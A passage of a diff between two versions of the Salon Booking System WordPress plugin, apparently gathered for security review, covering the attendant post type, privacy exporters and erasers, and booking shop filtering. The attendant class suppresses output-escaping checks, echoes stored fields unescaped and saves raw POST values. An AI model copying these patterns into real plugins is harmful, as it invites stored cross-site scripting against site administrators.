$_POST['sln_post_title'],\r\n-\t\t));\r\n-\t}\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+class SLN_PostType_Attendant extends SLN_PostType_Abstract {\n+\n+\tpublic function init() {\n+\t\tparent::init();\n+\n+\t\tif (is_admin()) {\n+\t\t\tadd_action('pre_get_posts', array($this, 'admin_posts_sort'));\n+\t\t\tadd_action('wp_insert_post', array($this, 'wp_insert_post'));\n+\t\t\tadd_action('manage_' . $this->getPostType() . '_posts_custom_column', array($this, 'manage_column'), 10, 2);\n+\t\t\tadd_filter('manage_' . $this->getPostType() . '_posts_columns', array($this, 'manage_columns'));\n+\t\t\tadd_filter('manage_edit-' . $this->getPostType() . '_sortable_columns', array($this, 'custom_columns_sort'));\n+\t\t\tadd_action('admin_head-post-new.php', array($this, 'posttype_admin_css'));\n+\t\t\tadd_action('admin_head-post.php', array($this, 'posttype_admin_css'));\n+\t\t\tadd_action('admin_enqueue_scripts', array($this, 'load_scripts'));\n+\t\t\tadd_action('wp_ajax_sln_attendant', array($this, 'ajax'));\n+\t\t\tadd_action('quick_edit_custom_box', array($this, 'quick_edit_custom_box'), 10, 2);\n+\t\t\tadd_action('save_post', array($this, 'save_post'), 50);\n+\t\t}\n+\t}\n+\n+\tpublic function custom_columns_sort($columns) {\n+\t\t$custom = array(\n+\t\t\t'title' => 'title',\n+\t\t);\n+\t\treturn $custom;\n+\t}\n+\n+\t\u002F**\n+\t * @param WP_Query $query\n+\t *\u002F\n+\tfunction admin_posts_sort($query) {\n+\t\tglobal $pagenow, $post_type;\n+\t\tif (\n+\t\t\tis_admin() && 'edit.php' == $pagenow \n+\t\t\t&& $post_type == $this->getPostType()\n+            && (is_array($query->get('post_type')) ? in_array($this->getPostType(), $query->get('post_type')) : $query->get('post_type') === $this->getPostType()) \n+\t\t\t&& $query->get('orderby') !== 'title'\n+\t\t) {\n+\t\t\t\u002F** @var SLN_Repository_AttendantRepository $repo *\u002F\n+\t\t\t$repo = $this->getPlugin()->getRepository($this->getPostType());\n+\t\t\tforeach ($repo->getStandardCriteria() as $k => $v) {\n+\t\t\t\t$query->set($k, $v);\n+\t\t\t}\n+\n+            if ( in_array(SLN_Plugin::USER_ROLE_WORKER,  wp_get_current_user()->roles) ) {\n+                $meta_query   = $query->get('meta_query') ? array($query->get('meta_query')) : array();\n+                $meta_query[] = array(\n+                    'key'   => '_sln_attendant_staff_member_id',\n+                    'value' => get_current_user_id(),\n+                    'compare' => '=',\n+                );\n+                $query->set('meta_query', $meta_query);\n+            }\n+\n+\t\t\t$this->setPostsOrderByFilter();\n+\t\t}\n+\t}\n+\n+\tpublic function setPostsOrderByFilter() {\n+\t\tadd_filter('posts_orderby', array($this, 'postsOrderby'), 10, 2);\n+\t}\n+\n+\t\u002F**\n+\t * @param string $orderby\n+\t * @param WP_Query $query\n+\t *\n+\t * @return string\n+\t *\u002F\n+\tpublic function postsOrderby($orderby, $query) {\n+\t\tglobal $wpdb;\n+\t\tremove_filter('posts_orderby', array($this, 'postsOrderby'), 10);\n+\n+\t\treturn str_replace(\"{$wpdb->postmeta}.meta_value\", \"CAST({$wpdb->postmeta}.meta_value AS DECIMAL)\", $orderby);\n+\t}\n+\n+\tpublic function load_scripts($hook) {\n+\t\twp_enqueue_script('jquery-ui-core');\n+\t\twp_enqueue_script('jquery-ui-sortable');\n+\n+\t\tif ('edit.php' === $hook &&\n+\t\t\tisset($_GET['post_type']) &&\n+\t\t\t$this->getPostType() === $_GET['post_type']) {\n+\n+\t\t\twp_enqueue_script('salon-admin-attendant-edit-js', SLN_PLUGIN_URL . '\u002Fjs\u002Fadmin\u002FadminAttendantEdit.js', array('jquery'), SLN_Action_InitScripts::ASSETS_VERSION, true);\n+                }\n+\n+\t}\n+\n+\tpublic function wp_insert_post($post_id, $wp_error = false) {\n+\t\tglobal $post_type;\n+\n+\t\tif ($post_type == $this->getPostType()) {\n+\t\t\tif (!get_post_meta($post_id, '_sln_attendant_order', true)) {\n+\t\t\t\t$count_pages = wp_count_posts($this->getPostType());\n+\t\t\t\t$pos = $count_pages->publish + 1;\n+\t\t\t\tadd_post_meta($post_id, '_sln_attendant_order', $pos, true);\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tpublic function ajax() {\n+\t\tif(!current_user_can('edit_sln_attendants')){\n+            wp_die('\u003Cp>' . esc_html__('Sory, you not allowed to ajax.'). '\u003C\u002Fp>', 403);\n+        }\n+\t\tif (isset($_POST['method'])) {\n+\t\t\t$method = 'ajax_' . sanitize_text_field(wp_unslash($_POST['method']));\n+\t\t\tif (method_exists($this, $method)) {\n+\t\t\t\t$this->$method();\n+\t\t\t}\n+\t\t}\n+\t\tdie();\n+\t}\n+\n+\tpublic function ajax_save_position() {\n+\t\tparse_str(sanitize_text_field(wp_unslash($_POST['data'])), $params);\n+\n+\t\tif (!isset($params['positions'])) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\tforeach (explode(',', $params['positions']) as $item) {\n+\t\t\tlist($post_id, $pos) = explode('_', $item);\n+\t\t\tupdate_post_meta($post_id, '_sln_attendant_order', $pos);\n+\t\t}\n+\t}\n+\n+\tpublic function manage_columns($columns) {\n+\n+\t\t$new_columns = array(\n+\t\t\t'cb' => $columns['cb'],\n+\t\t\t'ID' => __('Attendant ID', 'salon-booking-system'),\n+\t\t\t'sln_thumb' => __('Thumbnail', 'salon-booking-system'),\n+\t\t\t'title' => $columns['title'],\n+\t\t\t'sln_services' => __('Skills', 'salon-booking-system'),\n+\t\t\t'sln_email' => __('Email', 'salon-booking-system'),\n+\t\t\t'sln_phone' => __('Telephone', 'salon-booking-system'),\n+\t\t\t'sln_days_off' => __('Availability', 'salon-booking-system'),\n+\t\t);\n+\u002F\u002F        return array_merge(\n+\t\t\u002F\u002F            $columns,\n+\t\t\u002F\u002F            array(\n+\t\t\u002F\u002F            )\n+\t\t\u002F\u002F        );\n+\t\treturn $new_columns;\n+\t}\n+\n+\tpublic function manage_column($column, $post_id) {\n+\t\t$obj = $this->getPlugin()->createAttendant($post_id);\n+\t\tswitch ($column) {\n+\t\tcase 'ID':\n+\t\t\techo edit_post_link($post_id, '\u003Cp>', '\u003C\u002Fp>', $post_id);\n+\t\t\tbreak;\n+\t\tcase 'sln_email':\n+\t\t\techo $obj->getEmail();\n+\t\t\tbreak;\n+\t\tcase 'sln_phone':\n+\t\t\techo $obj->getPhone();\n+\t\t\tbreak;\n+\t\tcase 'sln_days_off':\n+\t\t\techo implode('\u003Cbr\u002F>', $obj->getAvailabilityItems()->toArray());\n+\t\t\tbreak;\n+\t\tcase 'sln_services':\n+\t\t\tif ($obj->hasAllServices()) {\n+\t\t\t\techo esc_html__(\"All\", 'salon-booking-system');\n+\t\t\t} else {\n+\t\t\t\t$tmp = array();\n+\t\t\t\techo '\u003Cdiv class=\"sln-service__collapse closed\">';\n+\t\t\t\tforeach ($obj->getServices() as $s) {\n+\t\t\t\t\t$tmp[] = sprintf('\u003Ca href=\"%s\" class=\"sln-service\" data-id=\"%s\">%s\u003C\u002Fa>', get_edit_post_link($s->getId()), $s->getId(), $s->getName());\n+\t\t\t\t}\n+\t\t\t\techo implode(', ', $tmp);\n+\t\t\t\techo '\u003C\u002Fdiv>\u003Ca href=\"#nogo\" class=\"sln-service__collapsetrigger\">\u003Cspan class=\"sr-only\">more\u003C\u002Fspan>\u003C\u002Fa>';\n+\t\t\t}\n+\t\t\tbreak;\n+\t\tcase 'sln_thumb':\n+\t\t\techo get_the_post_thumbnail($post_id, array(70, 70));\n+\t\t\tbreak;\n+\t\t}\n+\t}\n+\n+\tpublic function enter_title_here($title, $post) {\n+\n+\t\tif ($this->getPostType() === $post->post_type) {\n+\t\t\t$title = __('Enter the assistant name', 'salon-booking-system');\n+\t\t}\n+\n+\t\treturn $title;\n+\t}\n+\n+\tpublic function updated_messages($messages) {\n+\t\tglobal $post, $post_ID;\n+\n+\t\t$messages[$this->getPostType()] = array(\n+\t\t\t0 => '', \u002F\u002F Unused. Messages start at index 1.\n+\t\t\t1 => sprintf(\n+\t\t\t\t__('Assistant updated.', 'salon-booking-system')\n+\t\t\t),\n+\t\t\t2 => '',\n+\t\t\t3 => '',\n+\t\t\t4 => __('Assistant updated.', 'salon-booking-system'),\n+\t\t\t5 => isset($_GET['revision']) ? sprintf(\n+                \u002F\u002F translators: %s will be replaced by the revision title\n+\t\t\t\t__('Assistant restored to revision from %s', 'salon-booking-system'),\n+\t\t\t\twp_post_revision_title((int) $_GET['revision'], false)\n+\t\t\t) : false,\n+\t\t\t6 => sprintf(\n+\t\t\t\t__('Assistant published.', 'salon-booking-system')\n+\t\t\t),\n+\t\t\t7 => __('Assistant saved.', 'salon-booking-system'),\n+\t\t\t8 => sprintf(\n+\t\t\t\t__('Assistant submitted.', 'salon-booking-system')\n+\t\t\t),\n+\t\t\t9 => sprintf(\n+                \u002F\u002F translators: %s will be replaced by the date\n+\t\t\t\t__(\n+\t\t\t\t\t'Assistant scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. ',\n+\t\t\t\t\t'salon-booking-system'\n+\t\t\t\t),\n+\t\t\t\tSLN_TimeFunc::translateDate(__('M j, Y @ G:i', 'salon-booking-system'), SLN_TimeFunc::getPostTimestamp($post))\n+\t\t\t),\n+\t\t\t10 => sprintf(\n+\t\t\t\t__('Assistant draft updated.', 'salon-booking-system')\n+\t\t\t),\n+\t\t);\n+\n+\t\treturn $messages;\n+\t}\n+\n+\tprotected function getPostTypeArgs() {\n+\t\treturn array(\n+\t\t\t'public' => true,\n+\t\t\t'publicly_queryable' => true,\n+\t\t\t'exclude_from_search' => true,\n+\t\t\t'show_in_menu' => 'salon',\n+\t\t\t'rewrite' => true,\n+\t\t\t'supports' => array(\n+\t\t\t\t'title',\n+\t\t\t\t'excerpt',\n+\t\t\t\t'thumbnail',\n+\t\t\t\t'revisions',\n+\t\t\t),\n+\t\t\t'labels' => array(\n+\t\t\t\t'name' => __('Assistants', 'salon-booking-system'),\n+\t\t\t\t'singular_name' => __('Assistant', 'salon-booking-system'),\n+\t\t\t\t'menu_name' => __('Salon', 'salon-booking-system'),\n+\t\t\t\t'name_admin_bar' => __('Salon Assistant', 'salon-booking-system'),\n+\t\t\t\t'all_items' => __('Assistants', 'salon-booking-system'),\n+\t\t\t\t'add_new' => __('Add Assistant', 'salon-booking-system'),\n+\t\t\t\t'add_new_item' => __('Add New Assistant', 'salon-booking-system'),\n+\t\t\t\t'edit_item' => __('Edit Assistant', 'salon-booking-system'),\n+\t\t\t\t'new_item' => __('New Assistant', 'salon-booking-system'),\n+\t\t\t\t'view_item' => __('View Assistant', 'salon-booking-system'),\n+\t\t\t\t'search_items' => __('Search Assistants', 'salon-booking-system'),\n+\t\t\t\t'not_found' => __('No assistants found', 'salon-booking-system'),\n+\t\t\t\t'not_found_in_trash' => __('No assistants found in trash', 'salon-booking-system'),\n+\t\t\t\t'archive_title' => __('Assistants Archive', 'salon-booking-system'),\n+\t\t\t),\n+\t\t\t'capability_type' => array($this->getPostType(), $this->getPostType() . 's'),\n+\t\t\t'map_meta_cap' => true,\n+            'capabilities' => array(\n+                'create_posts' => 'create_' . $this->getPostType().'s',\n+            ),\n+\t\t);\n+\t}\n+\n+\tpublic function posttype_admin_css() {\n+\t\tglobal $post_type;\n+\t\tif ($post_type == SLN_Plugin::POST_TYPE_SERVICE) {\n+\t\t\t$this->getPlugin()->loadView('metabox\u002F_attendant_head');\n+\t\t}\n+\t}\n+\n+\tpublic function quick_edit_custom_box($column_name, $post_type) {\n+\n+\t\tif ($this->getPostType() !== $post_type || $column_name !== 'sln_email') {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\t$sRepo = $this->getPlugin()->getRepository(SLN_Plugin::POST_TYPE_SERVICE);\n+\t\t$services = $sRepo->getAll();\n+\n+\t\tusort($services, function ($service1, $service2) {\n+\n+\t\t\t$service1Title = strtolower($service1->getName());\n+\t\t\t$service2Title = strtolower($service2->getName());\n+\n+\t\t\tif ($service1Title === $service2Title) {\n+\t\t\t\treturn 0;\n+\t\t\t}\n+\n+\t\t\treturn $service1Title > $service2Title ? 1 : -1;\n+\t\t});\n+\n+\t\t?>\n+\n+\t    \u003C?php wp_nonce_field(plugin_basename(__FILE__), 'sln_attendant_edit_nonce');?>\n+\n+\t    \u003Cfieldset class=\"inline-edit-col-left sln-inline-attendant-edit-col\">\n+\t\t\u003Clegend class=\"inline-edit-legend\">\u003C?php echo esc_html__('Quick Edit'); ?>\u003C\u002Flegend>\n+\t\t\u003Cdiv class=\"inline-edit-col\">\n+\t\t    \u003Clabel>\n+\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Title');?>\u003C\u002Fspan>\n+\t\t\t\u003Cspan class=\"input-text-wrap\">\u003Cinput type=\"text\" name=\"sln_post_title\" class=\"ptitle\" value=\"\" \u002F>\u003C\u002Fspan>\n+\t\t    \u003C\u002Flabel>\n+\t\t\u003C\u002Fdiv>\n+\t\t\u003Cdiv class=\"inline-edit-col\">\n+\t\t    \u003Clabel>\n+\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Email');?>\u003C\u002Fspan>\n+\t\t\t\u003Cspan class=\"input-text-wrap\">\u003Cinput type=\"text\" name=\"sln_email\" value=\"\" \u002F>\u003C\u002Fspan>\n+\t\t    \u003C\u002Flabel>\n+\t\t\u003C\u002Fdiv>\n+\t\t\u003Cdiv class=\"inline-edit-col\">\n+\t\t    \u003Clabel>\n+\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Phone');?>\u003C\u002Fspan>\n+\t\t\t\u003Cspan class=\"input-text-wrap\">\u003Cinput type=\"text\" name=\"sln_phone\" value=\"\" \u002F>\u003C\u002Fspan>\n+\t\t    \u003C\u002Flabel>\n+\t\t\u003C\u002Fdiv>\n+\t    \u003C\u002Ffieldset>\n+\n+\t    \u003Cfieldset class=\"inline-edit-col-right sln-inline-attendant-edit-col\">\n+\t\t\u003Cdiv class=\"inline-edit-col\">\n+\t\t    \u003Clabel class=\"alignleft\">\n+\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Skills');?>\u003C\u002Fspan>\n+\t\t\t\u003Cselect name=\"sln_services[]\" multiple=\"multiple\">\n+\t\t\t    \u003C?php foreach ($services as $service): ?>\n+\t\t\t\t\u003C?php if (!$service->isAttendantsEnabled()) {\n+\t\t\tcontinue;\n+\t\t}\n+\t\t?>\n+\t\t\t\t\u003Coption value=\"\u003C?php echo $service->getId() ?>\">\n+\t\t\t\t    \u003C?php echo $service->getName(); ?>\n+\t\t\t\t    (\u003C?php echo $this->getPlugin()->format()->money($service->getPrice()) ?>)\n+\t\t\t\t\u003C\u002Foption>\n+\t\t\t    \u003C?php endforeach?>\n+\t\t\t\u003C\u002Fselect>\n+\t\t    \u003C\u002Flabel>\n+\t\t\u003C\u002Fdiv>\n+\t    \u003C\u002Ffieldset>\n+\n+\t\u003C?php\n+}\n+\n+\tpublic function save_post($post_id) {\n+\n+\t\tif (!isset($_POST['action']) || $_POST['action'] !== 'inline-save') {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\t$post_type = get_post_type($post_id);\n+\n+\t\tif ($this->getPostType() !== $post_type) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\tif (!current_user_can('edit_post', $post_id)) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\tif (!wp_verify_nonce($_POST[\"sln_attendant_edit_nonce\"], plugin_basename(__FILE__))) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\tremove_action('save_post', array($this, 'save_post'), 50);\n+\n+\t\tupdate_post_meta($post_id, '_' . $this->getPostType() . '_email', isset($_POST['sln_email']) ? $_POST['sln_email'] : '');\n+\t\tupdate_post_meta($post_id, '_' . $this->getPostType() . '_phone', isset($_POST['sln_phone']) ? $_POST['sln_phone'] : '');\n+\t\tupdate_post_meta($post_id, '_' . $this->getPostType() . '_services', isset($_POST['sln_services']) ? $_POST['sln_services'] : array());\n+\n+\t\twp_update_post(array(\n+\t\t\t'ID' => $post_id,\n+\t\t\t'post_title' => $_POST['sln_post_title'],\n+\t\t));\n+\t}\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPostType\u002FService.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPostType\u002FService.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPostType\u002FService.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPostType\u002FService.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -167,7 +167,7 @@\n                 echo $time ? $time : '-';\n                 break;\n             case 'service_price' :\n-                echo $this->getPlugin()->format()->money($obj->getPrice());\n+                echo '\u003Cspan data-price=\"' . esc_attr($obj->getPrice()) . '\">' . $this->getPlugin()->format()->money($obj->getPrice()) . '\u003C\u002Fspan>';\n                 break;\n             case 'secondary' :\n                 echo ($obj->isSecondary() ? esc_html__('YES', 'salon-booking-system') : '');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,41 +1,41 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-class SLN_Privacy_Erasers{\r\n-\tpublic static function customer_data_eraser( $email_address, $page ) {\r\n-\t\t$response = array(\r\n-\t\t\t'items_removed'  => false,\r\n-\t\t\t'items_retained' => false,\r\n-\t\t\t'messages'       => array(),\r\n-\t\t\t'done'           => true,\r\n-\t\t);\r\n-\r\n-\t\t$user = get_user_by( 'email', $email_address ); \u002F\u002F Check if user has an ID in the DB to load stored personal data.\r\n-\r\n-\t\tif ( ! $user instanceof WP_User ) {\r\n-\t\t\treturn $response;\r\n-\t\t}\r\n-\r\n-\t\t$props_to_erase = apply_filters( 'sln_privacy_erase_customer_personal_data_props', SLN_Enum_CheckoutFields::all()->labels(), $user );\r\n-\r\n-\t\tforeach ( $props_to_erase as $prop => $label ) {\r\n-\t\t\t$erased = delete_user_meta( $user->ID, '_sln_'.$prop);\r\n-\r\n-\t\t\t$erased = apply_filters( 'sln_privacy_erase_customer_personal_data_prop', $erased, $prop, $user );\r\n-\r\n-\t\t\tif ( $erased ) {\r\n-\t\t\t\t\u002F* Translators: %s Prop name. *\u002F\r\n-\t\t\t\t$response['messages'][]    = esc_html( sprintf( __( 'Removed customer \"%s\"', 'salon-booking-system' ), $label ) );\r\n-\t\t\t\t$response['items_removed'] = true;\r\n-\t\t\t}\r\n-\t\t}\r\n-\t\t\r\n-\t\t\u002F**\r\n-\t\t * Allow extensions to remove data for this customer and adjust the response.\r\n-\t\t *\r\n-\t\t * @since 3.4.0\r\n-\t\t * @param array    $response Array resonse data. Must include messages, num_items_removed, num_items_retained, done.\r\n-\t\t * @param WP_User.\r\n-\t\t *\u002F\r\n-\t\treturn apply_filters( 'sln_privacy_erase_personal_data_customer', $response, $user );\r\n-\t}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+class SLN_Privacy_Erasers{\n+\tpublic static function customer_data_eraser( $email_address, $page ) {\n+\t\t$response = array(\n+\t\t\t'items_removed'  => false,\n+\t\t\t'items_retained' => false,\n+\t\t\t'messages'       => array(),\n+\t\t\t'done'           => true,\n+\t\t);\n+\n+\t\t$user = get_user_by( 'email', $email_address ); \u002F\u002F Check if user has an ID in the DB to load stored personal data.\n+\n+\t\tif ( ! $user instanceof WP_User ) {\n+\t\t\treturn $response;\n+\t\t}\n+\n+\t\t$props_to_erase = apply_filters( 'sln_privacy_erase_customer_personal_data_props', SLN_Enum_CheckoutFields::all()->labels(), $user );\n+\n+\t\tforeach ( $props_to_erase as $prop => $label ) {\n+\t\t\t$erased = delete_user_meta( $user->ID, '_sln_'.$prop);\n+\n+\t\t\t$erased = apply_filters( 'sln_privacy_erase_customer_personal_data_prop', $erased, $prop, $user );\n+\n+\t\t\tif ( $erased ) {\n+\t\t\t\t\u002F* Translators: %s Prop name. *\u002F\n+\t\t\t\t$response['messages'][]    = esc_html( sprintf( __( 'Removed customer \"%s\"', 'salon-booking-system' ), $label ) );\n+\t\t\t\t$response['items_removed'] = true;\n+\t\t\t}\n+\t\t}\n+\t\t\n+\t\t\u002F**\n+\t\t * Allow extensions to remove data for this customer and adjust the response.\n+\t\t *\n+\t\t * @since 3.4.0\n+\t\t * @param array    $response Array resonse data. Must include messages, num_items_removed, num_items_retained, done.\n+\t\t * @param WP_User.\n+\t\t *\u002F\n+\t\treturn apply_filters( 'sln_privacy_erase_personal_data_customer', $response, $user );\n+\t}\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,59 +1,59 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-class SLN_Privacy_Exporters{\r\n-\tpublic static function customer_data_exporter( $email_address, $page ) {\r\n-\t\t$user           = get_user_by( 'email', $email_address ); \u002F\u002F Check if user has an ID in the DB to load stored personal data.\r\n-\t\t$data_to_export = array();\r\n-\r\n-\t\tif ( $user instanceof WP_User ) {\r\n-\t\t\t$customer_personal_data = self::get_customer_personal_data( $user );\r\n-\t\t\tif ( ! empty( $customer_personal_data ) ) {\r\n-\t\t\t\t$data_to_export[] = array(\r\n-\t\t\t\t\t'group_id'    => 'sln_customer',\r\n-\t\t\t\t\t'group_label' => __( 'Customer Data', 'salon-booking-system' ),\r\n-\t\t\t\t\t'item_id'     => 'user',\r\n-\t\t\t\t\t'data'        => $customer_personal_data,\r\n-\t\t\t\t);\r\n-\t\t\t}\r\n-\t\t}\r\n-\r\n-\t\treturn array(\r\n-\t\t\t'data' => $data_to_export,\r\n-\t\t\t'done' => true,\r\n-\t\t);\r\n-\t}\r\n-\r\n-\t\u002F**\r\n-\t * Get personal data (key\u002Fvalue pairs) for a user object.\r\n-\t *\r\n-\t * @param WP_User $user user object.\r\n-\t * @return array\r\n-\t *\u002F\r\n-\tprotected static function get_customer_personal_data( $user ) {\r\n-\t\t$personal_data = array();\t\t\t\t\r\n-\r\n-\t\t$props_to_export = apply_filters( 'sln_privacy_export_customer_personal_data_props', SLN_Enum_CheckoutFields::all()->labels()\r\n-\t\t, $user );\r\n-\r\n-\t\tforeach ( $props_to_export as $prop => $description ) {\r\n-\t\t\t$value = get_user_meta($user->ID, '_sln_'.$prop, true);\r\n-\r\n-\t\t\t$value = apply_filters( 'sln_privacy_export_customer_personal_data_prop_value', $value, $prop, $user );\r\n-\r\n-\t\t\tif ( $value ) {\r\n-\t\t\t\t$personal_data[] = array(\r\n-\t\t\t\t\t'name'  => $description,\r\n-\t\t\t\t\t'value' => $value,\r\n-\t\t\t\t);\r\n-\t\t\t}\r\n-\t\t}\r\n-\r\n-\t\t\u002F**\r\n-\t\t * Allow extensions to register their own personal data for this customer for the export.\r\n-\t\t *\r\n-\t\t *\u002F\r\n-\t\t$personal_data = apply_filters( 'sln_privacy_export_customer_personal_data', $personal_data, $user );\r\n-\r\n-\t\treturn $personal_data;\r\n-\t}\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+class SLN_Privacy_Exporters{\n+\tpublic static function customer_data_exporter( $email_address, $page ) {\n+\t\t$user           = get_user_by( 'email', $email_address ); \u002F\u002F Check if user has an ID in the DB to load stored personal data.\n+\t\t$data_to_export = array();\n+\n+\t\tif ( $user instanceof WP_User ) {\n+\t\t\t$customer_personal_data = self::get_customer_personal_data( $user );\n+\t\t\tif ( ! empty( $customer_personal_data ) ) {\n+\t\t\t\t$data_to_export[] = array(\n+\t\t\t\t\t'group_id'    => 'sln_customer',\n+\t\t\t\t\t'group_label' => __( 'Customer Data', 'salon-booking-system' ),\n+\t\t\t\t\t'item_id'     => 'user',\n+\t\t\t\t\t'data'        => $customer_personal_data,\n+\t\t\t\t);\n+\t\t\t}\n+\t\t}\n+\n+\t\treturn array(\n+\t\t\t'data' => $data_to_export,\n+\t\t\t'done' => true,\n+\t\t);\n+\t}\n+\n+\t\u002F**\n+\t * Get personal data (key\u002Fvalue pairs) for a user object.\n+\t *\n+\t * @param WP_User $user user object.\n+\t * @return array\n+\t *\u002F\n+\tprotected static function get_customer_personal_data( $user ) {\n+\t\t$personal_data = array();\t\t\t\t\n+\n+\t\t$props_to_export = apply_filters( 'sln_privacy_export_customer_personal_data_props', SLN_Enum_CheckoutFields::all()->labels()\n+\t\t, $user );\n+\n+\t\tforeach ( $props_to_export as $prop => $description ) {\n+\t\t\t$value = get_user_meta($user->ID, '_sln_'.$prop, true);\n+\n+\t\t\t$value = apply_filters( 'sln_privacy_export_customer_personal_data_prop_value', $value, $prop, $user );\n+\n+\t\t\tif ( $value ) {\n+\t\t\t\t$personal_data[] = array(\n+\t\t\t\t\t'name'  => $description,\n+\t\t\t\t\t'value' => $value,\n+\t\t\t\t);\n+\t\t\t}\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Allow extensions to register their own personal data for this customer for the export.\n+\t\t *\n+\t\t *\u002F\n+\t\t$personal_data = apply_filters( 'sln_privacy_export_customer_personal_data', $personal_data, $user );\n+\n+\t\treturn $personal_data;\n+\t}\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FRepository\u002FBookingRepository.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FRepository\u002FBookingRepository.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FRepository\u002FBookingRepository.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FRepository\u002FBookingRepository.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -58,15 +58,22 @@\n             }\n         }\n         \n-        \u002F\u002F Multi-Shop Support: Add shop filtering if shop ID is provided\n-        \u002F\u002F This ensures calendar bookings and tooltips respect shop selection\n+        \u002F\u002F Multi-Shop Support: Add shop filtering if shop ID is provided.\n+        \u002F\u002F Include bookings explicitly assigned to the shop OR bookings with no shop\n+        \u002F\u002F assignment at all (legacy\u002Funassigned bookings belong to all shops).\n         if (isset($criteria['shop']) && intval($criteria['shop']) > 0) {\n-            $criteria['@wp_query']['meta_query'][] =\n+            $criteria['@wp_query']['meta_query'][] = array(\n+                'relation' => 'OR',\n                 array(\n-                    'key'     => '_sln_booking_shop',  \u002F\u002F Correct meta key used by Multi-Shop\n+                    'key'     => '_sln_booking_shop',\n                     'value'   => intval($criteria['shop']),\n                     'compare' => '=',\n-                );\n+                ),\n+                array(\n+                    'key'     => '_sln_booking_shop',\n+                    'compare' => 'NOT EXISTS',\n+                ),\n+            );\n             unset($criteria['shop']);\n         }\n \n@@ -179,6 +186,36 @@\n \n     protected function cacheMultidateBookings($posts)\n     {\n+        if ( empty( $posts ) ) {\n+            return;\n+        }\n+\n+        \u002F\u002F Pass 1: prime ALL booking post meta in one SQL query so that\n+        \u002F\u002F get_post_meta() calls inside the loop are served from WP's memory\n+        \u002F\u002F cache instead of hitting the database 